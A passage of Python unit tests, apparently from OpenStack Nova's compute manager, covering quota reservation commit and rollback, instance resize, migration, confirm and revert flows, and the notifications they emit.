operation[0] in want_objects: self._test_state_revert(inst_obj, *operation) else: self._test_state_revert(instance, *operation) def _ensure_quota_reservations_committed(self, expect_project=False, expect_user=False): """Mock up commit of quota reservations.""" reservations = list('fake_res') self.mox.StubOutWithMock(nova.quota.QUOTAS, 'commit') nova.quota.QUOTAS.commit(mox.IgnoreArg(), reservations, project_id=(expect_project and self.context.project_id or None), user_id=(expect_user and self.context.user_id or None)) self.mox.ReplayAll() return reservations def _ensure_quota_reservations_rolledback(self, expect_project=False, expect_user=False): """Mock up rollback of quota reservations.""" reservations = list('fake_res') self.mox.StubOutWithMock(nova.quota.QUOTAS, 'rollback') nova.quota.QUOTAS.rollback(mox.IgnoreArg(), reservations, project_id=(expect_project and self.context.project_id or None), user_id=(expect_user and self.context.user_id or None)) self.mox.ReplayAll() return reservations def test_quotas_succesful_delete(self): instance = jsonutils.to_primitive(self._create_fake_instance()) resvs = self._ensure_quota_reservations_committed(True, True) self.compute.terminate_instance(self.context, instance, bdms=None, reservations=resvs) def test_quotas_failed_delete(self): instance = jsonutils.to_primitive(self._create_fake_instance()) def fake_shutdown_instance(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.compute, '_shutdown_instance', fake_shutdown_instance) resvs = self._ensure_quota_reservations_rolledback(True, True) self.assertRaises(test.TestingException, self.compute.terminate_instance, self.context, instance, bdms=None, reservations=resvs) def test_quotas_succesful_soft_delete(self): instance = jsonutils.to_primitive(self._create_fake_instance( params=dict(task_state=task_states.SOFT_DELETING))) resvs = self._ensure_quota_reservations_committed(True, True) self.compute.soft_delete_instance(self.context, instance, reservations=resvs) def test_quotas_failed_soft_delete(self): instance = jsonutils.to_primitive(self._create_fake_instance( params=dict(task_state=task_states.SOFT_DELETING))) def fake_soft_delete(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.compute.driver, 'soft_delete', fake_soft_delete) resvs = self._ensure_quota_reservations_rolledback(True, True) self.assertRaises(test.TestingException, self.compute.soft_delete_instance, self.context, instance, reservations=resvs) def test_quotas_destroy_of_soft_deleted_instance(self): instance = jsonutils.to_primitive(self._create_fake_instance( params=dict(vm_state=vm_states.SOFT_DELETED))) # Termination should be successful, but quota reservations # rolled back because the instance was in SOFT_DELETED state. resvs = self._ensure_quota_reservations_rolledback() self.compute.terminate_instance(self.context, instance, bdms=None, reservations=resvs) def _test_finish_resize(self, power_on): # Contrived test to ensure finish_resize doesn't raise anything and # also tests resize from ACTIVE or STOPPED state which determines # if the resized instance is powered on or not. self.power_on = power_on self.fake_finish_migration_called = False def fake_finish_migration(context, migration, instance, disk_info, network_info, image_meta, resize_instance, block_device_info=None, power_on=True): # nova.conf sets the default flavor to m1.small and the test # sets the default flavor to m1.tiny so they should be different # which makes this a resize self.assertTrue(resize_instance) # ensure the power_on value is what we expect self.assertEqual(self.power_on, power_on) self.fake_finish_migration_called = True def fake_migration_update(context, id, values): # Ensure instance status updates is after the migration finish migration_ref = db.migration_get(context, id) instance_uuid = migration_ref['instance_uuid'] instance = db.instance_get_by_uuid(context, instance_uuid) self.assertFalse(instance['vm_state'] == vm_states.RESIZED) self.assertEqual(instance['task_state'], task_states.RESIZE_FINISH) self.stubs.Set(self.compute.driver, 'finish_migration', fake_finish_migration) self.stubs.Set(db, 'migration_update', fake_migration_update) reservations = self._ensure_quota_reservations_committed() vm_state = None if power_on: vm_state = vm_states.ACTIVE else: vm_state = vm_states.STOPPED params = {'vm_state': vm_state} instance = jsonutils.to_primitive(self._create_fake_instance(params)) instance_type = flavors.get_default_flavor() db.instance_update(self.context, instance["uuid"], {"task_state": task_states.RESIZE_PREP}) self.compute.prep_resize(self.context, instance=instance, instance_type=instance_type, image={}) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), instance['uuid'], 'pre-migrating') db.instance_update(self.context, instance["uuid"], {"task_state": task_states.RESIZE_MIGRATED}) # NOTE(mriedem): make sure prep_resize set old_vm_state correctly inst_ref = get_primitive_instance_by_uuid(self.context, instance['uuid']) sys_meta = utils.metadata_to_dict(inst_ref['system_metadata']) self.assertTrue('old_vm_state' in sys_meta) if power_on: self.assertEqual(vm_states.ACTIVE, sys_meta['old_vm_state']) else: self.assertEqual(vm_states.STOPPED, sys_meta['old_vm_state']) self.compute.finish_resize(self.context, migration=jsonutils.to_primitive(migration_ref), disk_info={}, image={}, instance=inst_ref, reservations=reservations) self.assertTrue(self.fake_finish_migration_called) self.compute.terminate_instance(self.context, instance=inst_ref) def test_finish_resize_from_active(self): self._test_finish_resize(power_on=True) def test_finish_resize_from_stopped(self): self._test_finish_resize(power_on=False) def test_finish_resize_with_volumes(self): """Contrived test to ensure finish_resize doesn't raise anything.""" # create instance instance = jsonutils.to_primitive(self._create_fake_instance()) # create volume volume_id = 'fake' volume = {'instance_uuid': None, 'device_name': None, 'volume_id': volume_id} # stub out volume attach def fake_volume_get(self, context, volume): return volume self.stubs.Set(cinder.API, "get", fake_volume_get) orig_connection_data = { 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:%s.1' % volume_id, 'target_portal': '127.0.0.0.1:3260', 'volume_id': volume_id, } connection_info = { 'driver_volume_type': 'iscsi', 'data': orig_connection_data, } def fake_init_conn(self, context, volume, session): return connection_info self.stubs.Set(cinder.API, "initialize_connection", fake_init_conn) def fake_attach(self, context, volume_id, instance_uuid, device_name): volume['instance_uuid'] = instance_uuid volume['device_name'] = device_name self.stubs.Set(cinder.API, "attach", fake_attach) # stub out virt driver attach def fake_get_volume_connector(*args, **kwargs): return {} self.stubs.Set(self.compute.driver, 'get_volume_connector', fake_get_volume_connector) def fake_attach_volume(*args, **kwargs): pass self.stubs.Set(self.compute.driver, 'attach_volume', fake_attach_volume) # attach volume to instance self.compute.attach_volume(self.context, volume['volume_id'], '/dev/vdc', instance) # assert volume attached correctly self.assertEquals(volume['device_name'], '/dev/vdc') disk_info = db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']) self.assertEquals(len(disk_info), 1) for bdm in disk_info: self.assertEquals(bdm['device_name'], volume['device_name']) self.assertEquals(bdm['connection_info'], jsonutils.dumps(connection_info)) # begin resize instance_type = flavors.get_default_flavor() db.instance_update(self.context, instance["uuid"], {"task_state": task_states.RESIZE_PREP}) self.compute.prep_resize(self.context, instance=instance, instance_type=instance_type, image={}) # NOTE(sirp): `prep_resize` mutates the `system_metadata` attribute in # the DB but not on the instance passed in, so to sync the two, we need # to refetch the row from the DB instance = db.instance_get_by_uuid(self.context, instance['uuid']) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), instance['uuid'], 'pre-migrating') # fake out detach for prep_resize (and later terminate) def fake_terminate_connection(self, context, volume, connector): connection_info['data'] = None self.stubs.Set(cinder.API, "terminate_connection", fake_terminate_connection) self.compute.resize_instance(self.context, instance=instance, migration=migration_ref, image={}, instance_type=jsonutils.to_primitive(instance_type)) # assert bdm is unchanged disk_info = db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']) self.assertEquals(len(disk_info), 1) for bdm in disk_info: self.assertEquals(bdm['device_name'], volume['device_name']) cached_connection_info = jsonutils.loads(bdm['connection_info']) self.assertEquals(cached_connection_info['data'], orig_connection_data) # but connection was terminated self.assertEquals(connection_info['data'], None) # stub out virt driver finish_migration def fake(*args, **kwargs): pass self.stubs.Set(self.compute.driver, 'finish_migration', fake) db.instance_update(self.context, instance["uuid"], {"task_state": task_states.RESIZE_MIGRATED}) reservations = self._ensure_quota_reservations_committed() # new initialize connection new_connection_data = dict(orig_connection_data) new_iqn = 'iqn.2010-10.org.openstack:%s.2' % volume_id, new_connection_data['target_iqn'] = new_iqn def fake_init_conn_with_data(self, context, volume, session): connection_info['data'] = new_connection_data return connection_info self.stubs.Set(cinder.API, "initialize_connection", fake_init_conn_with_data) self.compute.finish_resize(self.context, migration=jsonutils.to_primitive(migration_ref), disk_info={}, image={}, instance=instance, reservations=reservations) # assert volume attached correctly disk_info = db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']) self.assertEquals(len(disk_info), 1) for bdm in disk_info: self.assertEquals(bdm['connection_info'], jsonutils.dumps(connection_info)) # stub out detach def fake_detach(self, context, volume_uuid): volume['device_path'] = None volume['instance_uuid'] = None self.stubs.Set(cinder.API, "detach", fake_detach) # clean up self.compute.terminate_instance(self.context, instance=instance) def test_finish_resize_handles_error(self): # Make sure we don't leave the instance in RESIZE on error. def throw_up(*args, **kwargs): raise test.TestingException() def fake(*args, **kwargs): pass self.stubs.Set(self.compute.driver, 'finish_migration', throw_up) reservations = self._ensure_quota_reservations_rolledback() instance = jsonutils.to_primitive(self._create_fake_instance()) instance_type = flavors.get_default_flavor() self.compute.prep_resize(self.context, instance=instance, instance_type=instance_type, image={}, reservations=reservations) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), instance['uuid'], 'pre-migrating') db.instance_update(self.context, instance["uuid"], {"task_state": task_states.RESIZE_MIGRATED}) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertRaises(test.TestingException, self.compute.finish_resize, self.context, migration=jsonutils.to_primitive(migration_ref), disk_info={}, image={}, instance=instance, reservations=reservations) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.ERROR) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_rebuild_instance_notification(self): # Ensure notifications on instance migrate/resize. old_time = datetime.datetime(2012, 4, 1) cur_time = datetime.datetime(2012, 12, 21, 12, 21) timeutils.set_time_override(old_time) inst_ref = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=inst_ref) timeutils.set_time_override(cur_time) test_notifier.NOTIFICATIONS = [] instance = db.instance_get_by_uuid(self.context, inst_ref['uuid']) orig_sys_metadata = db.instance_system_metadata_get(self.context, inst_ref['uuid']) image_ref = instance["image_ref"] new_image_ref = image_ref + '-new_image_ref' db.instance_update(self.context, inst_ref['uuid'], {'image_ref': new_image_ref}) password = "new_password" instance = db.instance_get_by_uuid(self.context, inst_ref['uuid']) db.instance_update(self.context, instance['uuid'], {"task_state": task_states.REBUILDING}) self.compute.rebuild_instance(self.context, jsonutils.to_primitive(instance), image_ref, new_image_ref, injected_files=[], new_pass=password, orig_sys_metadata=orig_sys_metadata, bdms=[]) instance = db.instance_get_by_uuid(self.context, inst_ref['uuid']) image_ref_url = glance.generate_image_url(image_ref) new_image_ref_url = glance.generate_image_url(new_image_ref) self.assertEquals(len(test_notifier.NOTIFICATIONS), 3) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.exists') self.assertEquals(msg['payload']['image_ref_url'], image_ref_url) msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['event_type'], 'compute.instance.rebuild.start') self.assertEquals(msg['payload']['image_ref_url'], new_image_ref_url) self.assertEquals(msg['payload']['image_name'], 'fake_name') msg = test_notifier.NOTIFICATIONS[2] self.assertEquals(msg['event_type'], 'compute.instance.rebuild.end') self.assertEquals(msg['priority'], 'INFO') payload = msg['payload'] self.assertEquals(payload['image_name'], 'fake_name') self.assertEquals(payload['tenant_id'], self.project_id) self.assertEquals(payload['user_id'], self.user_id) self.assertEquals(payload['instance_id'], inst_ref['uuid']) self.assertEquals(payload['instance_type'], 'm1.tiny') type_id = flavors.get_flavor_by_name('m1.tiny')['id'] self.assertEquals(str(payload['instance_type_id']), str(type_id)) self.assertTrue('display_name' in payload) self.assertTrue('created_at' in payload) self.assertTrue('launched_at' in payload) self.assertEqual(payload['launched_at'], timeutils.strtime(cur_time)) self.assertEquals(payload['image_ref_url'], new_image_ref_url) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst_ref)) def test_finish_resize_instance_notification(self): # Ensure notifications on instance migrate/resize. old_time = datetime.datetime(2012, 4, 1) cur_time = datetime.datetime(2012, 12, 21, 12, 21) timeutils.set_time_override(old_time) instance = jsonutils.to_primitive(self._create_fake_instance()) new_type = flavors.get_flavor_by_name('m1.small') new_type = jsonutils.to_primitive(new_type) new_type_id = new_type['id'] self.compute.run_instance(self.context, instance=instance) new_instance = db.instance_update(self.context, instance['uuid'], {'host': 'foo'}) new_instance = jsonutils.to_primitive(new_instance) db.instance_update(self.context, new_instance["uuid"], {"task_state": task_states.RESIZE_PREP}) self.compute.prep_resize(self.context, instance=new_instance, instance_type=new_type, image={}) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), new_instance['uuid'], 'pre-migrating') self.compute.resize_instance(self.context, instance=new_instance, migration=migration_ref, image={}, instance_type=new_type) timeutils.set_time_override(cur_time) test_notifier.NOTIFICATIONS = [] new_instance = db.instance_get_by_uuid(self.context, new_instance['uuid']) self.compute.finish_resize(self.context, migration=jsonutils.to_primitive(migration_ref), disk_info={}, image={}, instance=new_instance) self.assertEquals(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.finish_resize.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['event_type'], 'compute.instance.finish_resize.end') self.assertEquals(msg['priority'], 'INFO') payload = msg['payload'] self.assertEquals(payload['tenant_id'], self.project_id) self.assertEquals(payload['user_id'], self.user_id) self.assertEquals(payload['instance_id'], new_instance['uuid']) self.assertEquals(payload['instance_type'], 'm1.small') self.assertEquals(str(payload['instance_type_id']), str(new_type_id)) self.assertTrue('display_name' in payload) self.assertTrue('created_at' in payload) self.assertTrue('launched_at' in payload) self.assertEqual(payload['launched_at'], timeutils.strtime(cur_time)) image_ref_url = glance.generate_image_url(FAKE_IMAGE_REF) self.assertEquals(payload['image_ref_url'], image_ref_url) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(new_instance)) def test_resize_instance_notification(self): # Ensure notifications on instance migrate/resize. old_time = datetime.datetime(2012, 4, 1) cur_time = datetime.datetime(2012, 12, 21, 12, 21) timeutils.set_time_override(old_time) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) timeutils.set_time_override(cur_time) test_notifier.NOTIFICATIONS = [] new_instance = db.instance_update(self.context, instance['uuid'], {'host': 'foo'}) new_instance = jsonutils.to_primitive(new_instance) instance_type = flavors.get_default_flavor() self.compute.prep_resize(self.context, instance=new_instance, instance_type=instance_type, image={}) db.migration_get_by_instance_and_status(self.context.elevated(), new_instance['uuid'], 'pre-migrating') self.assertEquals(len(test_notifier.NOTIFICATIONS), 3) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals(msg['event_type'], 'compute.instance.exists') msg = test_notifier.NOTIFICATIONS[1] self.assertEquals(msg['event_type'], 'compute.instance.resize.prep.start') msg = test_notifier.NOTIFICATIONS[2] self.assertEquals(msg['event_type'], 'compute.instance.resize.prep.end') self.assertEquals(msg['priority'], 'INFO') payload = msg['payload'] self.assertEquals(payload['tenant_id'], self.project_id) self.assertEquals(payload['user_id'], self.user_id) self.assertEquals(payload['instance_id'], new_instance['uuid']) self.assertEquals(payload['instance_type'], 'm1.tiny') type_id = flavors.get_flavor_by_name('m1.tiny')['id'] self.assertEquals(str(payload['instance_type_id']), str(type_id)) self.assertTrue('display_name' in payload) self.assertTrue('created_at' in payload) self.assertTrue('launched_at' in payload) image_ref_url = glance.generate_image_url(FAKE_IMAGE_REF) self.assertEquals(payload['image_ref_url'], image_ref_url) self.compute.terminate_instance(self.context, instance=new_instance) def test_prep_resize_instance_migration_error_on_same_host(self): """Ensure prep_resize raise a migration error if destination is set on the same source host and allow_resize_to_same_host is false """ self.flags(host="foo", allow_resize_to_same_host=False) instance = jsonutils.to_primitive(self._create_fake_instance()) reservations = self._ensure_quota_reservations_rolledback() self.compute.run_instance(self.context, instance=instance) new_instance = db.instance_update(self.context, instance['uuid'], {'host': self.compute.host}) new_instance = jsonutils.to_primitive(new_instance) instance_type = flavors.get_default_flavor() self.assertRaises(exception.MigrationError, self.compute.prep_resize, self.context, instance=new_instance, instance_type=instance_type, image={}, reservations=reservations) self.compute.terminate_instance(self.context, instance=new_instance) def test_prep_resize_instance_migration_error_on_none_host(self): """Ensure prep_resize raises a migration error if destination host is not defined """ instance = jsonutils.to_primitive(self._create_fake_instance()) reservations = self._ensure_quota_reservations_rolledback() self.compute.run_instance(self.context, instance=instance) new_instance = db.instance_update(self.context, instance['uuid'], {'host': None}) new_instance = jsonutils.to_primitive(new_instance) instance_type = flavors.get_default_flavor() self.assertRaises(exception.MigrationError, self.compute.prep_resize, self.context, instance=new_instance, instance_type=instance_type, image={}, reservations=reservations) self.compute.terminate_instance(self.context, instance=new_instance) def test_resize_instance_driver_error(self): # Ensure instance status set to Error on resize error. def throw_up(*args, **kwargs): raise test.TestingException() self.stubs.Set(self.compute.driver, 'migrate_disk_and_power_off', throw_up) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_type = flavors.get_default_flavor() reservations = self._ensure_quota_reservations_rolledback() self.compute.run_instance(self.context, instance=instance) new_instance = db.instance_update(self.context, instance['uuid'], {'host': 'foo'}) new_instance = jsonutils.to_primitive(new_instance) self.compute.prep_resize(self.context, instance=new_instance, instance_type=instance_type, image={}, reservations=reservations) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), new_instance['uuid'], 'pre-migrating') db.instance_update(self.context, new_instance['uuid'], {"task_state": task_states.RESIZE_PREP}) #verify self.assertRaises(test.TestingException, self.compute.resize_instance, self.context, instance=new_instance, migration=migration_ref, image={}, reservations=reservations, instance_type=jsonutils.to_primitive(instance_type)) instance = db.instance_get_by_uuid(self.context, new_instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.ERROR) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_resize_instance_driver_rollback(self): # Ensure instance status set to Running after rollback. def throw_up(*args, **kwargs): raise exception.InstanceFaultRollback(test.TestingException()) self.stubs.Set(self.compute.driver, 'migrate_disk_and_power_off', throw_up) instance = jsonutils.to_primitive(self._create_fake_instance()) instance_type = flavors.get_default_flavor() reservations = self._ensure_quota_reservations_rolledback() self.compute.run_instance(self.context, instance=instance) new_instance = db.instance_update(self.context, instance['uuid'], {'host': 'foo'}) new_instance = jsonutils.to_primitive(new_instance) self.compute.prep_resize(self.context, instance=new_instance, instance_type=instance_type, image={}, reservations=reservations) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), new_instance['uuid'], 'pre-migrating') db.instance_update(self.context, new_instance['uuid'], {"task_state": task_states.RESIZE_PREP}) self.assertRaises(test.TestingException, self.compute.resize_instance, self.context, instance=new_instance, migration=migration_ref, image={}, reservations=reservations, instance_type=jsonutils.to_primitive(instance_type)) instance = db.instance_get_by_uuid(self.context, new_instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.ACTIVE) self.assertEqual(instance['task_state'], None) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_resize_instance(self): # Ensure instance can be migrated/resized. instance = jsonutils.to_primitive(self._create_fake_instance()) instance_type = flavors.get_default_flavor() self.compute.run_instance(self.context, instance=instance) new_instance = db.instance_update(self.context, instance['uuid'], {'host': 'foo'}) new_instance = jsonutils.to_primitive(new_instance) instance_uuid = new_instance['uuid'] self.compute.prep_resize(self.context, instance=new_instance, instance_type=instance_type, image={}) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), instance_uuid, 'pre-migrating') # verify 'old_vm_state' was set on system_metadata inst = db.instance_get_by_uuid(self.context, instance_uuid) sys_meta = utils.metadata_to_dict(inst['system_metadata']) self.assertEqual(vm_states.ACTIVE, sys_meta['old_vm_state']) db.instance_update(self.context, instance_uuid, {"task_state": task_states.RESIZE_PREP}) self.compute.resize_instance(self.context, instance=new_instance, migration=migration_ref, image={}, instance_type=jsonutils.to_primitive(instance_type)) inst = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(migration_ref['dest_compute'], inst['host']) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst)) def _test_confirm_resize(self, power_on): # Common test case method for confirm_resize def fake(*args, **kwargs): pass def fake_confirm_migration_driver(*args, **kwargs): # Confirm the instance uses the new type in finish_resize inst = args[1] sys_meta = utils.metadata_to_dict(inst['system_metadata']) self.assertEqual(sys_meta['instance_type_flavorid'], '3') old_vm_state = None p_state = None if power_on: old_vm_state = vm_states.ACTIVE p_state = power_state.RUNNING else: old_vm_state = vm_states.STOPPED p_state = power_state.SHUTDOWN params = {'vm_state': old_vm_state, 'power_state': p_state} instance = jsonutils.to_primitive(self._create_fake_instance(params)) self.flags(allow_resize_to_same_host=True) self.stubs.Set(self.compute.driver, 'finish_migration', fake) self.stubs.Set(self.compute.driver, 'confirm_migration', fake_confirm_migration_driver) reservations = self._ensure_quota_reservations_committed() instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) # Confirm the instance size before the resize starts inst_ref = db.instance_get_by_uuid(self.context, instance_uuid) instance_type_ref = db.flavor_get(self.context, inst_ref['instance_type_id']) self.assertEqual(instance_type_ref['flavorid'], '1') new_inst_ref = db.instance_update(self.context, instance_uuid, {'vm_state': old_vm_state, 'power_state': p_state}) new_instance_type_ref = db.flavor_get_by_flavor_id( self.context, 3) new_instance_type_p = jsonutils.to_primitive(new_instance_type_ref) self.compute.prep_resize(self.context, instance=jsonutils.to_primitive(new_inst_ref), instance_type=new_instance_type_p, image={}, reservations=reservations) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), inst_ref['uuid'], 'pre-migrating') # NOTE(danms): make sure to refresh our inst_ref after prep_resize instance = get_primitive_instance_by_uuid(self.context, instance_uuid) # NOTE(mriedem): ensure prep_resize set old_vm_state in system_metadata sys_meta = utils.metadata_to_dict(instance['system_metadata']) self.assertEqual(old_vm_state, sys_meta['old_vm_state']) db.instance_update(self.context, instance_uuid, {"task_state": task_states.RESIZE_PREP}) self.compute.resize_instance(self.context, instance=instance, migration=migration_ref, image={}, instance_type=new_instance_type_p) self.compute.finish_resize(self.context, migration=jsonutils.to_primitive(migration_ref), disk_info={}, image={}, instance=instance) # Prove that the instance size is now the new size rpcinst = get_primitive_instance_by_uuid(self.context, instance_uuid) instance_type_ref = db.flavor_get(self.context, rpcinst['instance_type_id']) self.assertEqual(instance_type_ref['flavorid'], '3') # Finally, confirm the resize and verify the new flavor is applied db.instance_update(self.context, instance_uuid, {"task_state": None}) def fake_setup_networks_on_host(cls, ctxt, instance, host, teardown): self.assertEqual(host, migration_ref['source_compute']) inst = db.instance_get_by_uuid(ctxt, instance['uuid']) self.assertEqual('fake-mini', inst['host']) self.assertTrue(teardown) self.stubs.Set(network_api.API, 'setup_networks_on_host', fake_setup_networks_on_host) rpcinst = db.instance_get_by_uuid(self.context, rpcinst['uuid']) self.compute.confirm_resize(self.context, rpcinst, reservations, migration_ref) instance = get_primitive_instance_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) instance_type_ref = db.flavor_get(self.context, instance['instance_type_id']) self.assertEqual(instance_type_ref['flavorid'], '3') self.assertEqual('fake-mini', migration_ref['source_compute']) self.assertEqual(old_vm_state, instance['vm_state']) self.assertEqual(p_state, instance['power_state']) self.compute.terminate_instance(self.context, instance=instance) def test_confirm_resize_from_active(self): self._test_confirm_resize(power_on=True) def test_confirm_resize_from_stopped(self): self._test_confirm_resize(power_on=False) def _test_finish_revert_resize(self, power_on, remove_old_vm_state=False): """ Convenience method that does most of the work for the test_finish_revert_resize tests. :param power_on -- True if testing resize from ACTIVE state, False if testing resize from STOPPED state. :param remove_old_vm_state -- True if testing a case where the 'old_vm_state' system_metadata is not present when the finish_revert_resize method is called. """ def fake(*args, **kwargs): pass def fake_finish_revert_migration_driver(*args, **kwargs): # Confirm the instance uses the old type in finish_revert_resize inst = args[0] sys_meta = utils.metadata_to_dict(inst['system_metadata']) self.assertEqual(sys_meta['instance_type_flavorid'], '1') old_vm_state = None if power_on: old_vm_state = vm_states.ACTIVE else: old_vm_state = vm_states.STOPPED params = {'vm_state': old_vm_state} instance = jsonutils.to_primitive(self._create_fake_instance(params)) self.stubs.Set(self.compute.driver, 'finish_migration', fake) self.stubs.Set(self.compute.driver, 'finish_revert_migration', fake_finish_revert_migration_driver) reservations = self._ensure_quota_reservations_committed() instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) # Confirm the instance size before the resize starts inst_ref = db.instance_get_by_uuid(self.context, instance_uuid) instance_type_ref = db.flavor_get(self.context, inst_ref['instance_type_id']) self.assertEqual(instance_type_ref['flavorid'], '1') old_vm_state = instance['vm_state'] new_inst_ref = db.instance_update(self.context, instance_uuid, {'host': 'foo', 'vm_state': old_vm_state}) new_instance_type_ref = db.flavor_get_by_flavor_id( self.context, 3) new_instance_type_p = jsonutils.to_primitive(new_instance_type_ref) self.compute.prep_resize(self.context, instance=jsonutils.to_primitive(new_inst_ref), instance_type=new_instance_type_p, image={}, reservations=reservations) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), inst_ref['uuid'], 'pre-migrating') # NOTE(danms): make sure to refresh our inst_ref after prep_resize instance = get_primitive_instance_by_uuid(self.context, instance_uuid) # NOTE(mriedem): ensure prep_resize set old_vm_state in system_metadata sys_meta = utils.metadata_to_dict(instance['system_metadata']) self.assertEqual(old_vm_state, sys_meta['old_vm_state']) db.instance_update(self.context, instance_uuid, {"task_state": task_states.RESIZE_PREP}) self.compute.resize_instance(self.context, instance=instance, migration=migration_ref, image={}, instance_type=new_instance_type_p) self.compute.finish_resize(self.context, migration=jsonutils.to_primitive(migration_ref), disk_info={}, image={}, instance=instance) # Prove that the instance size is now the new size rpcinst = get_primitive_instance_by_uuid(self.context, instance_uuid) instance_type_ref = db.flavor_get(self.context, rpcinst['instance_type_id']) self.assertEqual(instance_type_ref['flavorid'], '3') # Finally, revert and confirm the old flavor has been applied db.instance_update(self.context, instance_uuid, {"task_state": task_states.RESIZE_REVERTING}) self.compute.revert_resize(self.context, migration_id=migration_ref['id'], instance=rpcinst, reservations=reservations) def fake_setup_networks_on_host(cls, ctxt, instance, host, teardown=False): self.assertEqual(host, migration_ref['source_compute']) inst = db.instance_get_by_uuid(ctxt, instance['uuid']) self.assertEqual(host, inst['host']) self.assertFalse(teardown) self.stubs.Set(network_api.API, 'setup_networks_on_host', fake_setup_networks_on_host) rpcinst = db.instance_get_by_uuid(self.context, rpcinst['uuid']) if remove_old_vm_state: # need to wipe out the old_vm_state from system_metadata # before calling finish_revert_resize sys_meta = utils.metadata_to_dict(rpcinst['system_metadata']) sys_meta.pop('old_vm_state') rpcinst = db.instance_update(self.context, rpcinst['uuid'], {'system_metadata': sys_meta}) self.compute.finish_revert_resize(self.context, migration=jsonutils.to_primitive(migration_ref), instance=rpcinst, reservations=reservations) instance = get_primitive_instance_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) instance_type_ref = db.flavor_get(self.context, instance['instance_type_id']) self.assertEqual(instance_type_ref['flavorid'], '1') self.assertEqual(instance['host'], migration_ref['source_compute']) if remove_old_vm_state: self.assertEqual(vm_states.ACTIVE, instance['vm_state']) else: self.assertEqual(old_vm_state, instance['vm_state']) self.compute.terminate_instance(self.context, instance=instance) def test_finish_revert_resize_from_active(self): self._test_finish_revert_resize(power_on=True) def test_finish_revert_resize_from_stopped(self): self._test_finish_revert_resize(power_on=False) def test_finish_revert_resize_from_stopped_remove_old_vm_state(self): # in this case we resize from STOPPED but end up with ACTIVE # because the old_vm_state value is not present in # finish_revert_resize self._test_finish_revert_resize(power_on=False, remove_old_vm_state=True) def _test_cleanup_stored_instance_types(self, old, new, revert=False): migration = dict(old_instance_type_id=old, new_instance_type_id=new) instance = dict(system_metadata=list()) instance['system_metadata'].append(dict(key='instance_type_id', value=old)) sys_meta = dict(instance_type_id=old) self.mox.StubOutWithMock(flavors, 'extract_flavor') self.mox.StubOutWithMock(flavors, 'delete_flavor_info') self.mox.StubOutWithMock(flavors, 'save_flavor_info') if revert: flavors.extract_flavor(instance, 'old_').AndReturn( {'instance_type_id': old}) flavors.save_flavor_info( sys_meta, {'instance_type_id': old}).AndReturn(sys_meta) else: flavors.extract_flavor(instance).AndReturn( {'instance_type_id': new}) flavors.delete_flavor_info( sys_meta, 'old_').AndReturn(sys_meta) flavors.delete_flavor_info( sys_meta, 'new_').AndReturn(sys_meta) self.mox.ReplayAll() res = self.compute._cleanup_stored_instance_types(migration, instance, revert) self.assertEqual(res, (sys_meta, {'instance_type_id': revert and old or new})) def test_cleanup_stored_instance_types_for_resize(self): self._test_cleanup_stored_instance_types('1', '2') def test_cleanup_stored_instance_types_for_resize_with_update(self): self._test_cleanup_stored_instance_types('1', '2', True) def test_cleanup_stored_instance_types_for_migration(self): self._test_cleanup_stored_instance_types('1', '1') def test_cleanup_stored_instance_types_for_migration_with_update(self): self._test_cleanup_stored_instance_types('1', '1', True) def test_get_by_flavor_id(self): type = flavors.get_flavor_by_flavor_id(1) self.assertEqual(type['name'], 'm1.tiny') def test_resize_same_source_fails(self): """Ensure instance fails to migrate when source and destination are the same host. """ reservations = self._ensure_quota_reservations_rolledback() instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance_type = flavors.get_default_flavor() self.assertRaises(exception.MigrationError, self.compute.prep_resize, self.context, instance=instance, instance_type=instance_type, image={}, reservations=reservations) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_resize_instance_handles_migration_error(self): # Ensure vm_state is ERROR when error occurs. def raise_migration_failure(*args): raise test.TestingException() self.stubs.Set(self.compute.driver, 'migrate_disk_and_power_off', raise_migration_failure) reservations = self._ensure_quota_reservations_rolledback() inst_ref = jsonutils.to_primitive(self._create_fake_instance()) instance_type = flavors.get_default_flavor() self.compute.run_instance(self.context, instance=inst_ref) inst_ref = db.instance_update(self.context, inst_ref['uuid'], {'host': 